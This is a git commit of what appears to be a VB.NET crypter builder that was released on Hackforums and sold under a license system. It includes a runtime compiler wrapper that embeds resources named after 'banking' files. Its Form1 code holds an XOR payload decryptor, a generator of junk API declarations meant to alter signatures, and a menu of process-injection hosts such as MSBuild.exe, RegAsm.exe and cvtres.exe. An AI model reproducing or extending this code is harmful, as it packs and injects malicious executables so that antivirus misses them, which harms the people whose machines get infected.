initial commit
This commit is contained in:
i2p
Binary file not shown.
@@ -0,0 +1,26 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "builder", "builder\builder.vbproj", "{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Debug|x86 = Debug|x86
|
||||
Release|Any CPU = Release|Any CPU
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Debug|x86.Build.0 = Debug|x86
|
||||
{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Release|x86.ActiveCfg = Release|x86
|
||||
{BFC8A19F-1593-4E9A-8992-5F7D2F2B4032}.Release|x86.Build.0 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/></startup>
|
||||
</configuration>
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,613 @@
|
||||
Imports System.IO
|
||||
Imports System.Text
|
||||
Imports Microsoft.CSharp
|
||||
Imports System.Resources
|
||||
Imports System.Diagnostics
|
||||
Imports System.Windows.Forms
|
||||
Imports System.CodeDom.Compiler
|
||||
Imports System.Collections.Generic
|
||||
|
||||
'*********************************************************************\\
|
||||
' * Made by: Ethernal Five *\\
|
||||
' * Released on 10 februari 2012 *\\
|
||||
' * Released on: Hackforums.net, Leetcoders.org & Virtuouscoding.net *\\
|
||||
' * If you use this, please credit me. I've put alot of work in it *\\
|
||||
'*********************************************************************\\
|
||||
#Region "Enums"
|
||||
''' <summary>
|
||||
''' The programming languages which codedom can compile.
|
||||
''' </summary>
|
||||
Public Enum Language
|
||||
VisualBasic
|
||||
CSharp
|
||||
End Enum
|
||||
|
||||
''' <summary>
|
||||
''' How you're assembly will compile. Default setting is Console.
|
||||
''' </summary>
|
||||
Public Enum Target
|
||||
''' <summary>
|
||||
''' An Windows forms application.
|
||||
''' </summary>
|
||||
WinForms
|
||||
''' <summary>
|
||||
''' A Windows console application.
|
||||
''' </summary>
|
||||
Console
|
||||
''' <summary>
|
||||
''' A Windows Dynamic Link Library(DLL) application.
|
||||
''' </summary>
|
||||
Library
|
||||
End Enum
|
||||
|
||||
''' <summary>
|
||||
''' The .NET version you're compiled file will use.
|
||||
''' </summary>
|
||||
Public Enum DotNetVersion
|
||||
''' <summary>
|
||||
''' .NET Version 2.0
|
||||
''' </summary>
|
||||
v2
|
||||
''' <summary>
|
||||
''' .NET Version 3.0
|
||||
''' </summary>
|
||||
v3
|
||||
''' <summary>
|
||||
''' .NET Version 3.5
|
||||
''' </summary>
|
||||
v35
|
||||
''' <summary>
|
||||
''' .NET Version 4.0
|
||||
''' </summary>
|
||||
v4
|
||||
End Enum
|
||||
|
||||
''' <summary>
|
||||
''' The Filealign option lets you specify the size of sections in your output file. Default value is 1024.
|
||||
''' </summary>
|
||||
Public Enum File_Align
|
||||
_200
|
||||
_512
|
||||
_1024
|
||||
_2048
|
||||
_4096
|
||||
_8192
|
||||
End Enum
|
||||
|
||||
''' <summary>
|
||||
''' Specifies which version of the common language runtime (CLR) can run the assembly. Default value is anycpu.
|
||||
''' </summary>
|
||||
Public Enum Platform
|
||||
''' <summary>
|
||||
''' x86 compiles your assembly to be run by the 32-bit, x86-compatible common language runtime.
|
||||
''' </summary>
|
||||
x86
|
||||
''' <summary>
|
||||
''' Itanium compiles your assembly to be run by the 64-bit common language runtime on a computer with an Itanium processor.
|
||||
''' </summary>
|
||||
Itanium
|
||||
''' <summary>
|
||||
''' x64 compiles your assembly to be run by the 64-bit common language runtime on a computer that supports the AMD64 or EM64T instruction set.
|
||||
''' </summary>
|
||||
x64
|
||||
''' <summary>
|
||||
''' anycpu compiles your assembly to run on any platform.
|
||||
''' </summary>
|
||||
AnyCPU
|
||||
End Enum
|
||||
|
||||
''' <summary>
|
||||
''' The WarningLevel option specifies the warning level for the compiler to display.
|
||||
''' </summary>
|
||||
Public Enum WarningLevel
|
||||
''' <summary>
|
||||
''' Turns off emission of all warning messages.
|
||||
''' </summary>
|
||||
None
|
||||
''' <summary>
|
||||
''' Displays severe warning messages.
|
||||
''' </summary>
|
||||
Low
|
||||
''' <summary>
|
||||
''' Displays level 1 warnings plus certain, less-severe warnings, such as warnings about hiding class members.
|
||||
''' </summary>
|
||||
Medium
|
||||
''' <summary>
|
||||
''' Displays level 2 warnings plus certain, less-severe warnings, such as warnings about expressions that always evaluate to true or false.
|
||||
''' </summary>
|
||||
High
|
||||
''' <summary>
|
||||
''' Displays all level 3 warnings plus informational warnings.
|
||||
''' </summary>
|
||||
All
|
||||
End Enum
|
||||
#End Region
|
||||
|
||||
Public Class EthernalCompiler
|
||||
#Region "Properties"
|
||||
Private _language As Language = Language.VisualBasic
|
||||
''' <summary>
|
||||
''' The programming language you wish to compile. Default language is Visual Basic.
|
||||
''' </summary>
|
||||
Public Property Language() As Language
|
||||
Get
|
||||
Return _language
|
||||
End Get
|
||||
Set(ByVal value As Language)
|
||||
_language = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _netversion As DotNetVersion = DotNetVersion.v4
|
||||
''' <summary>
|
||||
''' The .NET version you're compiled file will use. Default version is 4.0.
|
||||
''' </summary>
|
||||
Public Property DotNetVersion() As DotNetVersion
|
||||
Get
|
||||
Return _netversion
|
||||
End Get
|
||||
Set(ByVal value As DotNetVersion)
|
||||
_netversion = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _filealign As File_Align = File_Align._1024
|
||||
''' <summary>
|
||||
''' The Filealign option lets you specify the size of sections in your output file. Default value is 1024.
|
||||
''' </summary>
|
||||
Public Property File_Align() As File_Align
|
||||
Get
|
||||
Return _filealign
|
||||
End Get
|
||||
Set(ByVal value As File_Align)
|
||||
_filealign = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _target As Target = Target.Console
|
||||
''' <summary>
|
||||
''' How you're assembly will compile. Default setting is Console.
|
||||
''' </summary>
|
||||
Public Property Target() As Target
|
||||
Get
|
||||
Return _target
|
||||
End Get
|
||||
Set(ByVal value As Target)
|
||||
_target = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _platform As Platform = Platform.AnyCPU
|
||||
''' <summary>
|
||||
''' Specifies which version of the common language runtime (CLR) can run the assembly. Default value is AnyCPU.
|
||||
''' </summary>
|
||||
Public Property Platform() As Platform
|
||||
Get
|
||||
Return _platform
|
||||
End Get
|
||||
Set(ByVal value As Platform)
|
||||
_platform = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _warnlvl As WarningLevel = WarningLevel.All
|
||||
''' <summary>
|
||||
''' The WarningLevel option specifies the warning level for the compiler to display. Default value is All.
|
||||
''' </summary>
|
||||
Public Property WarningLevel() As WarningLevel
|
||||
Get
|
||||
Return _warnlvl
|
||||
End Get
|
||||
Set(ByVal value As WarningLevel)
|
||||
_warnlvl = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _icon As String = String.Empty
|
||||
''' <summary>
|
||||
''' The Icon to be used with you're file. Must be a path to an .ico file.
|
||||
''' </summary>
|
||||
Public Property Icon() As String
|
||||
Get
|
||||
Return _icon
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_icon = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _executeaftercompiled As Boolean = False
|
||||
''' <summary>
|
||||
''' If true, it will execute the assembly after it has been compiled. Default value is false.
|
||||
''' </summary>
|
||||
Public Property ExecuteAfterCompiled() As Boolean
|
||||
Get
|
||||
Return _executeaftercompiled
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_executeaftercompiled = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _silentmode As Boolean = False
|
||||
''' <summary>
|
||||
''' If Silent Mode is true, then there will be no error and succes messages displayed. Default value is false.
|
||||
''' </summary>
|
||||
Public Property SilentMode() As Boolean
|
||||
Get
|
||||
Return _silentmode
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_silentmode = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _source As String = String.Empty
|
||||
''' <summary>
|
||||
''' The code you want to compile to an executable. Must be specified.
|
||||
''' </summary>
|
||||
Public Property Source() As String
|
||||
Get
|
||||
Return _source
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_source = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _references As String() = Nothing
|
||||
''' <summary>
|
||||
''' The assemblies you want to reference. For example if you are using forms, you should reference System.Windows.Forms.dll. As default System.dll is already added.
|
||||
''' </summary>
|
||||
Public Property References() As String()
|
||||
Get
|
||||
Return _references
|
||||
End Get
|
||||
Set(ByVal value As String())
|
||||
_references = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _appconfig As String = String.Empty
|
||||
''' <summary>
|
||||
''' The AppConfig compiler option enables a C# application to specify the location of an assembly's application configuration (app.config) file to the common language runtime (CLR) at assembly binding time.
|
||||
''' </summary>
|
||||
Public Property AppConfig() As String
|
||||
Get
|
||||
Return _appconfig
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_appconfig = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _manifest As String = String.Empty
|
||||
''' <summary>
|
||||
''' Use the ManifestFile option to specify a user-defined Win32 application manifest file to be embedded into a project's portable executable file.
|
||||
''' </summary>
|
||||
Public Property ManifestFile() As String
|
||||
Get
|
||||
Return _manifest
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_manifest = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _optimize As Boolean = False
|
||||
''' <summary>
|
||||
''' The Optimize option enables or disables optimizations performed by the compiler to make your output file smaller, faster, and more efficient. Default is false.
|
||||
''' </summary>
|
||||
Public Property Optimize() As Boolean
|
||||
Get
|
||||
Return _optimize
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_optimize = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _unsafe As Boolean = False
|
||||
''' <summary>
|
||||
''' The Unsafe compiler option allows code that uses the unsafe keyword to compile. Default is false.
|
||||
''' </summary>
|
||||
Public Property Unsafe() As Boolean
|
||||
Get
|
||||
Return _unsafe
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_unsafe = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _warnings As Boolean = False
|
||||
''' <summary>
|
||||
''' This option will let you choose if you want to display warning messages if they occur. Default is false.
|
||||
''' </summary>
|
||||
Public Property ShowWarnings() As Boolean
|
||||
Get
|
||||
Return _warnings
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_warnings = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _debug As Boolean = False
|
||||
''' <summary>
|
||||
''' The Debug option causes the compiler to generate debugging information and place it in the output file or files.
|
||||
''' </summary>
|
||||
Public Property Debug() As Boolean
|
||||
Get
|
||||
Return _debug
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_debug = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _optionalparameters As String = String.Empty
|
||||
''' <summary>
|
||||
''' With this option you can specify you're own compiler options, like /keyfile. For advanced users only.
|
||||
''' </summary>
|
||||
Public Property Optional_Parameters() As String
|
||||
Get
|
||||
Return _optionalparameters
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_optionalparameters = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _errorlog As Boolean = False
|
||||
''' <summary>
|
||||
''' Creates an error log file if any errors occur. Default is false.
|
||||
''' </summary>
|
||||
Public Property ErrorLog() As Boolean
|
||||
Get
|
||||
Return _errorlog
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_errorlog = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _mscorlib As Boolean = True
|
||||
''' <summary>
|
||||
''' If you set this to false you won't be able to acces the System Namespace. Use this option if you want to define or create your own System namespace and objects.
|
||||
''' </summary>
|
||||
Public Property Reference_Mscorlib() As Boolean
|
||||
Get
|
||||
Return _mscorlib
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_mscorlib = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
''' <summary>
|
||||
''' Add a resource. Parameter name must be the file to the resource. This could be any file you want.
|
||||
''' </summary>
|
||||
Public Sub AddResource(ByVal resourcename As String, ByVal file__1 As String)
|
||||
Dim filename As String = Path.GetFileName(file__1)
|
||||
If Not Directory.Exists("temp") Then
|
||||
Directory.CreateDirectory("temp")
|
||||
End If
|
||||
File.WriteAllBytes("temp\" & filename, File.ReadAllBytes(file__1))
|
||||
File.Move("temp\" & filename, "temp\" & resourcename)
|
||||
End Sub
|
||||
Public Sub AddResource2(ByVal resourcename As String, ByVal file__1 As String)
|
||||
Dim filename As String = Path.GetFileName(file__1)
|
||||
If Not Directory.Exists("temp2") Then
|
||||
Directory.CreateDirectory("temp2")
|
||||
End If
|
||||
File.WriteAllBytes("temp2\" & filename, File.ReadAllBytes(file__1))
|
||||
File.Move("temp2\" & filename, "temp2\" & resourcename)
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Compile"
|
||||
Private newline As String = Environment.NewLine
|
||||
''' <summary>
|
||||
''' Compiles the assembly.
|
||||
''' </summary>
|
||||
Public Sub Compile(ByVal OutputPath As String)
|
||||
If Not String.IsNullOrEmpty(_source) Then
|
||||
If Not String.IsNullOrEmpty(OutputPath) Then
|
||||
If Directory.Exists("temp") AndAlso Directory.GetFiles("temp\") IsNot Nothing Then
|
||||
Dim w As New ResourceWriter("bankingcal.Resources.resources")
|
||||
For Each resource As String In Directory.GetFiles("temp\")
|
||||
Dim file__1 As String = Path.GetFileName(resource)
|
||||
If file__1 <> "thumbs.db" OrElse Not File.Exists(resource) Then
|
||||
w.AddResource(file__1, File.ReadAllBytes(resource))
|
||||
End If
|
||||
|
||||
Next
|
||||
w.Close()
|
||||
|
||||
End If
|
||||
|
||||
|
||||
Dim p As New CompilerParameters()
|
||||
Dim sb As New StringBuilder()
|
||||
p.OutputAssembly = OutputPath
|
||||
If References Is Nothing Then
|
||||
References = New String() {"System.dll"}
|
||||
End If
|
||||
p.ReferencedAssemblies.AddRange(References)
|
||||
If Directory.Exists("temp") Then
|
||||
p.EmbeddedResources.Add("bankingcal.Resources.resources")
|
||||
End If
|
||||
|
||||
If _icon <> String.Empty Then
|
||||
sb.Append(" /win32icon:" & _icon)
|
||||
End If
|
||||
|
||||
Select Case Target
|
||||
Case Target.Console
|
||||
sb.Append(" /target:exe")
|
||||
p.GenerateExecutable = True
|
||||
Exit Select
|
||||
Case Target.WinForms
|
||||
sb.Append(" /target:winexe")
|
||||
p.GenerateExecutable = True
|
||||
Exit Select
|
||||
Case Target.Library
|
||||
sb.Append(" /target:library")
|
||||
p.GenerateExecutable = False
|
||||
Exit Select
|
||||
End Select
|
||||
|
||||
Select Case File_Align
|
||||
Case File_Align._512
|
||||
sb.Append(" /filealign:512")
|
||||
Exit Select
|
||||
Case File_Align._1024
|
||||
sb.Append(" /filealign:1024")
|
||||
Exit Select
|
||||
Case File_Align._2048
|
||||
sb.Append(" /filealign:2048")
|
||||
Exit Select
|
||||
Case File_Align._4096
|
||||
sb.Append(" /filealign:4096")
|
||||
Exit Select
|
||||
Case File_Align._8192
|
||||
sb.Append(" /filealign:8192")
|
||||
Exit Select
|
||||
End Select
|
||||
|
||||
Select Case Platform
|
||||
Case Platform.AnyCPU
|
||||
sb.Append(" /platform:AnyCPU")
|
||||
Exit Select
|
||||
Case Platform.Itanium
|
||||
sb.Append(" /platform:Itanium")
|
||||
Exit Select
|
||||
Case Platform.x64
|
||||
sb.Append(" /platform:x64")
|
||||
Exit Select
|
||||
Case Platform.x86
|
||||
sb.Append(" /platform:x86")
|
||||
Exit Select
|
||||
End Select
|
||||
|
||||
Select Case WarningLevel
|
||||
Case WarningLevel.None
|
||||
sb.Append(" /warn:0")
|
||||
Exit Select
|
||||
Case WarningLevel.Low
|
||||
sb.Append(" /warn:1")
|
||||
Exit Select
|
||||
Case WarningLevel.Medium
|
||||
sb.Append(" /warn:2")
|
||||
Exit Select
|
||||
Case WarningLevel.High
|
||||
sb.Append(" /warn:3")
|
||||
Exit Select
|
||||
Case WarningLevel.All
|
||||
sb.Append(" /warn:4")
|
||||
Exit Select
|
||||
End Select
|
||||
If _appconfig <> String.Empty AndAlso Language = Language.CSharp AndAlso File.Exists(_appconfig) Then
|
||||
sb.Append(" /appconfig:" & _appconfig)
|
||||
End If
|
||||
If _manifest <> String.Empty AndAlso Language = Language.CSharp AndAlso File.Exists(_manifest) Then
|
||||
sb.Append(" /win32manifest: " & _manifest)
|
||||
End If
|
||||
If _optionalparameters <> String.Empty Then
|
||||
For Each param As String In _optionalparameters.Split("/"c)
|
||||
Dim temp As String = " /" & param
|
||||
If temp <> " /" AndAlso temp <> "/" Then
|
||||
sb.Append(temp)
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
If _mscorlib = False Then
|
||||
sb.Append(" /nostdlib")
|
||||
End If
|
||||
If _optimize = True Then
|
||||
sb.Append(" /optimize+")
|
||||
End If
|
||||
If _unsafe = True Then
|
||||
sb.Append(" /unsafe")
|
||||
End If
|
||||
If _debug = True Then
|
||||
sb.Append(" /debug:full")
|
||||
End If
|
||||
p.CompilerOptions = sb.ToString()
|
||||
|
||||
If Target = Target.Library AndAlso Path.GetExtension(OutputPath) = ".exe" AndAlso SilentMode = False Then
|
||||
If MessageBox.Show("You are compiling an Dynamic Link Library, but you are using .exe instead of .dll as extension." & newline & "Do you want to continue?", "Ethernal Compiler", MessageBoxButtons.YesNo, MessageBoxIcon.Information) = DialogResult.No Then
|
||||
Return
|
||||
End If
|
||||
End If
|
||||
|
||||
Dim ProviderOptions As New Dictionary(Of String, String)()
|
||||
Select Case DotNetVersion
|
||||
Case DotNetVersion.v2
|
||||
ProviderOptions.Add("CompilerVersion", "v2.0")
|
||||
Exit Select
|
||||
Case DotNetVersion.v3
|
||||
ProviderOptions.Add("CompilerVersion", "v3.0")
|
||||
Exit Select
|
||||
Case DotNetVersion.v35
|
||||
ProviderOptions.Add("CompilerVersion", "v3.5")
|
||||
Exit Select
|
||||
Case DotNetVersion.v4
|
||||
ProviderOptions.Add("CompilerVersion", "v4.0")
|
||||
Exit Select
|
||||
End Select
|
||||
|
||||
Dim results As CompilerResults = Nothing
|
||||
Select Case Language
|
||||
Case Language.CSharp
|
||||
results = New CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(p, Source)
|
||||
Exit Select
|
||||
Case Language.VisualBasic
|
||||
results = New VBCodeProvider(ProviderOptions).CompileAssemblyFromSource(p, Source)
|
||||
Exit Select
|
||||
End Select
|
||||
results.TempFiles.Delete()
|
||||
|
||||
If File.Exists("bankingcal.Resources.resources") Then
|
||||
File.Delete("bankingcal.Resources.resources")
|
||||
End If
|
||||
If Directory.Exists("temp") Then
|
||||
Directory.Delete("temp", True)
|
||||
End If
|
||||
If File.Exists("bankingcal2.Resources.resources") Then
|
||||
File.Delete("bankingcal2.Resources.resources")
|
||||
End If
|
||||
If File.Exists("text.txt") Then
|
||||
File.Delete("text.txt")
|
||||
End If
|
||||
If Directory.Exists("temp2") Then
|
||||
Directory.Delete("temp2", True)
|
||||
End If
|
||||
If results.Errors.Count > 0 Then
|
||||
If SilentMode = False Then
|
||||
MessageBox.Show("Ethernal Compiler encountered " & results.Errors.Count & " errors.", Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.[Error])
|
||||
For Each err As CompilerError In results.Errors
|
||||
MessageBox.Show(err.ErrorText & newline & "Collumn " & err.Column & ", Line " & err.Line & newline & err.FileName, "Ethernal Compiler", MessageBoxButtons.OK, MessageBoxIcon.[Error])
|
||||
If _errorlog = True Then
|
||||
File.AppendAllText("error.log", DateTime.Now & newline & err.ErrorText & newline & "Collumn " & err.Column & ", Line " & err.Line & newline & err.FileName & newline)
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
Else
|
||||
If SilentMode = False Then
|
||||
MessageBox.Show("Succesfully compiled!", Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Information)
|
||||
End If
|
||||
If ExecuteAfterCompiled Then
|
||||
Process.Start(OutputPath)
|
||||
End If
|
||||
End If
|
||||
Else
|
||||
Throw New ArgumentException("Please provide the output path to write to compiled executable.", "EthernalCompiler.Output = ""<path to output file here>""")
|
||||
End If
|
||||
Else
|
||||
Throw New ArgumentException("Please provide the source code to compile into an Windows executable.", "EthernalCompiler.Source = ""<code to compile here>""")
|
||||
End If
|
||||
End Sub
|
||||
#End Region
|
||||
End Class
|
||||
+1597
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,642 @@
|
||||
Imports System.IO
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Text
|
||||
Imports System.Reflection.Emit
|
||||
Imports System.Net
|
||||
Imports System.Collections.Generic
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
Imports System.ComponentModel
|
||||
Imports System.Data
|
||||
Imports System.Drawing
|
||||
Imports System.Windows.Forms
|
||||
Imports System.Diagnostics
|
||||
Imports System.Threading
|
||||
Imports System.Text.RegularExpressions
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
Public Class Form1
|
||||
Dim Compiler As New EthernalCompiler
|
||||
'Additional Functions
|
||||
Public Function random_key(ByVal lenght As Integer) As String
|
||||
Randomize()
|
||||
Dim s As New System.Text.StringBuilder("")
|
||||
Dim b() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray()
|
||||
For i As Integer = 1 To lenght
|
||||
Randomize()
|
||||
Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1
|
||||
s.Append(b(z))
|
||||
Next
|
||||
Return s.ToString
|
||||
End Function
|
||||
Public Function CreateFakeAPI(ByVal number As Integer) As String
|
||||
Dim sb As New System.Text.StringBuilder
|
||||
For i As Integer = 0 To number - 1
|
||||
sb.Append(vbNewLine + "Public Declare Function " & RA(GetRandom(5, 30)) & " Lib " & Chr(34) & RA(GetRandom(5, 30)) & ".dll"" (ByVal " & RA(GetRandom(5, 30)) & " As String, ByVal " & RA(GetRandom(5, 30)) & " As String(), ByVal " & RA(GetRandom(5, 30)) & " As Char) As Byte()")
|
||||
Next
|
||||
Return sb.ToString
|
||||
End Function
|
||||
Public Function GetRandom(ByVal Min As Integer, ByVal Max As Integer) As Integer
|
||||
Dim Generator As System.Random = New System.Random()
|
||||
Return Generator.Next(Min, Max)
|
||||
End Function
|
||||
Public Function RA(ByVal lenght As Integer) As String
|
||||
Randomize() : Dim b() As Char : Dim s As New System.Text.StringBuilder("") : b = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm".ToCharArray() : For i As Integer = 1 To lenght : Randomize() : Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1 : s.Append(b(z)) : Next : Return s.ToString
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
Dim cat As Byte() = IO.File.ReadAllBytes("banking.dll")
|
||||
Dim str As String = Convert.ToBase64String(cat)
|
||||
IO.File.WriteAllText("banking.base64", str)
|
||||
End Sub
|
||||
Public Function bite(ByVal input As String) As Byte()
|
||||
Dim bt As Byte() = System.Text.Encoding.Default.GetBytes(input)
|
||||
Return bt
|
||||
End Function
|
||||
Public Function str1(ByVal input As Byte()) As String
|
||||
Dim st As String = System.Text.Encoding.Default.GetString(input)
|
||||
Return st
|
||||
End Function
|
||||
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
' Dim str As Byte() = PolyRevCrypt(IO.File.ReadAllBytes(TextBox1.Text), "lol")
|
||||
' IO.File.WriteAllBytes("crypted.txt", str)
|
||||
' IO.File.WriteAllBytes("raw2.exe", PolyRevDeCrypt(str, "lol"))
|
||||
End Sub
|
||||
Public Shared Function PolyRevDeCrypt(ByVal data As Byte(), ByVal pass As String) As Byte()
|
||||
Array.Reverse(data)
|
||||
Dim rndByte As Byte = data(data.Length - 1)
|
||||
Dim passByte As Byte() = System.Text.Encoding.ASCII.GetBytes(pass)
|
||||
Dim Out As Byte() = New Byte(data.Length) {}
|
||||
Dim u As Integer = 0
|
||||
For i As Integer = 0 To data.Length - 1
|
||||
Out(i) = CByte((data(i) Xor rndByte) Xor passByte(u))
|
||||
Array.Reverse(passByte)
|
||||
If u = passByte.Length - 1 Then
|
||||
u = 0
|
||||
Else
|
||||
u += 1
|
||||
End If
|
||||
Next
|
||||
Array.Resize(Out, Out.Length - 2)
|
||||
Return Out
|
||||
End Function
|
||||
|
||||
Public Function IsManaged(ByVal exe As Byte()) As Boolean
|
||||
Return exe(&H3C) = &H80
|
||||
End Function
|
||||
Public Sub checkd(ByVal path As String)
|
||||
GhostComboBox1.Items.Clear()
|
||||
If IsManaged(IO.File.ReadAllBytes(VTextBox1.Text)) = False Then
|
||||
VRadiobutton1.Checked = True
|
||||
VRadiobutton2.Checked = False
|
||||
GhostComboBox1.Items.Add("cvtres.exe")
|
||||
GhostComboBox1.Items.Add("vbc.exe")
|
||||
GhostComboBox1.Items.Add("csc.exe")
|
||||
GhostComboBox1.Items.Add("AppLaunch.exe")
|
||||
GhostComboBox1.Items.Add("MSBuild.exe")
|
||||
GhostComboBox1.Items.Add("Self Injection")
|
||||
GhostComboBox1.Text = "cvtres.exe"
|
||||
Else
|
||||
VRadiobutton2.Checked = True
|
||||
VRadiobutton1.Checked = False
|
||||
GhostComboBox1.Items.Add("MSBuild.exe")
|
||||
GhostComboBox1.Items.Add("RegAsm.exe")
|
||||
GhostComboBox1.Items.Add("RegSvcs.exe")
|
||||
GhostComboBox1.Items.Add("Self Injection")
|
||||
GhostComboBox1.Text = "MSBuild.exe"
|
||||
End If
|
||||
End Sub
|
||||
Sub New()
|
||||
|
||||
InitializeComponent()
|
||||
RichTextBox1.ReadOnly = True
|
||||
' Seal.Protection = RuntimeProtection.None
|
||||
' Seal.RunHook = AddressOf LicenseRun
|
||||
' Seal.BanHook = AddressOf LicenseBan
|
||||
' Seal.RenewHook = AddressOf LicenseRenew
|
||||
' Seal.Initialize("001E0000") 'Required
|
||||
PictureBox1.Image = Me.Icon.ToBitmap
|
||||
'Seal.RenewHook.Invoke()
|
||||
'ProtectProcess()
|
||||
End Sub
|
||||
|
||||
|
||||
Sub LicenseBan()
|
||||
MessageBox.Show("Executing BanHook code.")
|
||||
End Sub
|
||||
|
||||
Sub LicenseRun()
|
||||
' MessageBox.Show("Executing RunHook code.")
|
||||
End Sub
|
||||
|
||||
Sub LicenseRenew()
|
||||
LicenseRenewEx()
|
||||
End Sub
|
||||
|
||||
Sub LicenseRenewEx()
|
||||
Label3.Text = "Username: " & Seal.Username
|
||||
' Label2.Text = "Update Available: " & Seal.UpdateAvailable.ToString()
|
||||
Label4.Text = "Expiration Date: " & Seal.ExpirationDate.ToString()
|
||||
Label5.Text = "Time Remaining: " & Seal.TimeRemaining.ToString()
|
||||
'Label3.Text = "License Points: " & Seal.Points.ToString("N0")
|
||||
Label6.Text = "License Type: " & Seal.LicenseType.ToString()
|
||||
'Label7.Text = "Unlimited Time: " & Seal.UnlimitedTime.ToString()
|
||||
Label7.Text = "Users Online: " & Seal.UsersOnline & " / " & Seal.UsersCount
|
||||
'Label8.Text = "GUID: " & Seal.GUID
|
||||
Label8.Text = Seal.GlobalMessage
|
||||
End Sub
|
||||
Private Sub ShowNewsEntries()
|
||||
ListView1.Items.Clear()
|
||||
For Each P As NewsPost In Seal.News
|
||||
Dim I As New ListViewItem(P.Time.ToString("MM.dd.yy"))
|
||||
I.SubItems.Add(P.Name)
|
||||
I.Tag = P
|
||||
ListView1.Items.Add(I)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub ShowPostMessage(ByVal post As NewsPost)
|
||||
Dim Message As String = Seal.GetPostMessage(post.ID)
|
||||
|
||||
If String.IsNullOrEmpty(Message) Then
|
||||
ShowNewsEntries()
|
||||
Else
|
||||
news.VTextBox1.Text = post.Name
|
||||
news.VTextBox2.Text = Message
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub ListView1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
||||
If ListView1.SelectedIndices.Count = 0 Then Return
|
||||
